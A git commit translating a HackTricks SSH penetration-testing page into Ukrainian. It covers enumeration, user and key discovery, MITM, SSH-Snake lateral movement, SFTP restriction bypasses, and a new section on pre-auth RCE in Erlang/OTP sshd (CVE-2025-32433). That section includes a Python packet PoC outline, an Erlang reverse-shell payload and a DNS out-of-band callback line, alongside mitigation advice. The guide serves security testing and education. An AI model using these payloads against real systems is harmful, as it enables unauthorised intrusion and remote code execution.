Translated ['src/network-services-pentesting/pentesting-ssh.md'] to uk

This commit is contained in:
Translator 2025-08-14 00:23:23 +00:00
parent a8640cf21c
commit ae1874abdd

View File

@ -75,9 +75,11 @@ $ python3 ssh-audit <IP>
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
### Слабкі шифрувальні алгоритми
### Слабкі алгоритми шифрування
Це виявляється за замов
Це виявляється за замовчуванням за допомогою **nmap**. Але ви також можете використовувати **sslcan** або **sslyze**.
### Скрипти Nmap
```bash
nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
@ -107,7 +109,7 @@ msf> use scanner/ssh/ssh_enumusers
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
Або модуль допоміжних засобів MSF:
Або модуль допоміжного MSF:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
@ -161,20 +163,20 @@ https://github.com/rapid7/ssh-badkeys/tree/master/authorized
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) робить саме те, що описано вище.
Щоб захопити фактичний MitM, ви можете використовувати такі техніки, як ARP-спуфінг, DNS-спуфінг або інші, описані в [**Атаках на мережеве спуфінг**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
Щоб захопити, виконайте фактичний MitM, ви можете використовувати такі техніки, як ARP спуфінг, DNS спуфінг або інші, описані в [**Атаках на мережеве спуфінг**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
## SSH-Snake
Якщо ви хочете пересуватися мережею, використовуючи виявлені приватні ключі SSH на системах, використовуючи кожен приватний ключ на кожній системі для нових хостів, тоді [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) - це те, що вам потрібно.
Якщо ви хочете пересуватися мережею, використовуючи виявлені приватні SSH ключі на системах, використовуючи кожен приватний ключ на кожній системі для нових хостів, тоді [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) - це те, що вам потрібно.
SSH-Snake автоматично та рекурсивно виконує такі завдання:
1. На поточній системі знайти будь-які приватні ключі SSH,
1. На поточній системі знайти будь-які приватні SSH ключі,
2. На поточній системі знайти будь-які хости або призначення (user@host), які можуть приймати приватні ключі,
3. Спробувати підключитися до всіх призначень, використовуючи всі виявлені приватні ключі,
4. Якщо призначення успішно підключено, повторити кроки #1 - #4 на підключеній системі.
Це повністю самовідтворюється і саморозповсюджується - і повністю безфайлове.
Він повністю самовідтворюється і саморозповсюджується - і повністю безфайловий.
## Неправильні конфігурації
@ -195,7 +197,7 @@ SSH-Snake автоматично та рекурсивно виконує так
### Виконання команд SFTP
Існує поширене недогляд, яке виникає з налаштуваннями SFTP, де адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення віддаленого доступу до оболонки. Незважаючи на те, що користувачам надаються неінтерактивні оболонки (наприклад, `/usr/bin/nologin`) і обмежуються певною директорією, залишається прогалина в безпеці. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки.
Існує поширена помилка в налаштуваннях SFTP, коли адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення доступу до віддаленого терміналу. Незважаючи на те, що користувачам надаються неінтерактивні оболонки (наприклад, `/usr/bin/nologin`) і обмежуються певною директорією, залишається прогалина в безпеці. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої як `/bin/bash`) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки.
[Приклад звідси](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -232,7 +234,7 @@ PermitTTY no
```
Ця конфігурація дозволить лише SFTP: відключаючи доступ до оболонки, примушуючи команду запуску та відключаючи доступ до TTY, а також відключаючи всі види переадресації портів або тунелювання.
### SFTP Tunneling
### SFTP Тунелювання
Якщо у вас є доступ до SFTP сервера, ви також можете тунелювати свій трафік через це, наприклад, використовуючи звичайну переадресацію портів:
```bash
@ -240,13 +242,13 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
Команда **sftp** має команду "**symlink**". Тому, якщо у вас є **права на запис** в якійсь папці, ви можете створювати **symlink** на **інші папки/файли**. Оскільки ви, ймовірно, **застрягли** всередині chroot, це **не буде особливо корисно** для вас, але, якщо ви можете **доступитися** до створеного **symlink** з **no-chroot** **сервісу** (наприклад, якщо ви можете доступитися до symlink з вебу), ви могли б **відкрити symlinked файли через веб**.
Команда **sftp** має команду "**symlink**". Тому, якщо у вас є **права на запис** в якійсь папці, ви можете створювати **symlink** на **інші папки/файли**. Оскільки ви, напевно, **застрягли** всередині chroot, це **не буде особливо корисно** для вас, але, якщо ви можете **доступитися** до створеного **symlink** з **no-chroot** **сервісу** (наприклад, якщо ви можете доступитися до symlink з вебу), ви могли б **відкрити symlinked файли через веб**.
Наприклад, щоб створити **symlink** з нового файлу **"**_**froot**_**" на "**_**/**_**"**:
```bash
sftp> symlink / froot
```
Якщо ви можете отримати доступ до файлу "_froot_" через веб, ви зможете перерахувати кореневу ("/") папку системи.
Якщо ви можете отримати доступ до файлу "_froot_" через веб, ви зможете переглянути кореневу ("/") папку системи.
### Методи аутентифікації
@ -279,12 +281,68 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## References
## Обхід стану аутентифікації (Pre-Auth RCE)
- Ви можете знайти цікаві посібники про те, як зміцнити SSH на [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
Декілька реалізацій SSH-серверів містять логічні помилки в **кінцевому автоматі аутентифікації**, які дозволяють клієнту надсилати *повідомлення протоколу з'єднання* **до** завершення аутентифікації. Оскільки сервер не перевіряє, що він у правильному стані, ці повідомлення обробляються так, ніби користувач повністю аутентифікований, що призводить до **неаутентифікованого виконання коду** або створення сесії.
## HackTricks Automatic Commands
На рівні протоколу будь-яке SSH-повідомлення з одом повідомлення_ **≥ 80** (0x50) належить до *шару з'єднання* (RFC 4254) і повинно **прийматися лише після успішної аутентифікації** (RFC 4252). Якщо сервер обробляє одне з цих повідомлень, перебуваючи ще в стані *SSH_AUTHENTICATION*, зловмисник може негайно створити канал і запитати дії, такі як виконання команд, переадресація портів тощо.
### Загальні кроки експлуатації
1. Встановіть TCP-з'єднання з SSH-портом цілі (зазвичай 22, але інші служби можуть відкривати Erlang/OTP на 2022, 830, 2222…).
2. Сформуйте сирий SSH-пакет:
* 4-байтовий **packet_length** (big-endian)
* 1-байтовий **message_code** ≥ 80 (наприклад, `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Вантаж, який буде зрозумілий обраного типу повідомлення
3. Надішліть пакет(и) **до завершення будь-якого кроку аутентифікації**.
4. Взаємодійте з API сервера, які тепер доступні _pre-auth_ (виконання команд, переадресація портів, доступ до файлової системи тощо).
Python proof-of-concept outline:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
На практиці вам потрібно буде виконати (або пропустити) обмін ключами відповідно до реалізації цілі, але **жодна аутентифікація** ніколи не виконується.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Підлягаючі версії:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Корінна причина:** вбудований SSH-демон Erlang не перевіряє поточний стан перед викликом `ssh_connection:handle_msg/2`. Тому будь-який пакет з кодом повідомлення 80-255 досягає обробника з'єднання, поки сесія все ще знаходиться в стані *userauth*.
* **Вплив:** неаутентифіковане **віддалене виконання коду** (демон зазвичай працює як **root** на вбудованих/OT пристроях).
Приклад корисного навантаження, яке створює зворотний шелл, прив'язаний до каналу, контрольованого зловмисником:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Сліпа RCE / виявлення поза каналом може бути виконано через DNS:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Виявлення та пом'якшення:
* Перевірте трафік SSH: **відхиліть будь-який пакет з кодом повідомлення ≥ 80, спостережуваним до аутентифікації**.
* Оновіть Erlang/OTP до **27.3.3 / 26.2.5.11 / 25.3.2.20** або новішої версії.
* Обмежте доступ до портів управління (22/2022/830/2222) особливо на обладнанні OT.
---
### Інші реалізації, що підлягають впливу
* **libssh** 0.6 0.8 (сторона сервера) **CVE-2018-10933** приймає неаутентифіковане `SSH_MSG_USERAUTH_SUCCESS`, надіслане клієнтом, фактично є логічною помилкою зворотного порядку.
Загальний урок полягає в тому, що будь-яке відхилення від станів, передбачених RFC, може бути фатальним; при перегляді або фуззингу демонів SSH звертайте особливу увагу на *забезпечення станів машини*.
## Посилання
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [Посібники з посилення SSH](https://www.ssh-audit.com/hardening_guides.html)
- [Посібник з хакінгу SSH від Turgensec](https://community.turgensec.com/ssh-hacking-guide)
## Автоматичні команди HackTricks
```
Protocol_Name: SSH
Port_Number: 22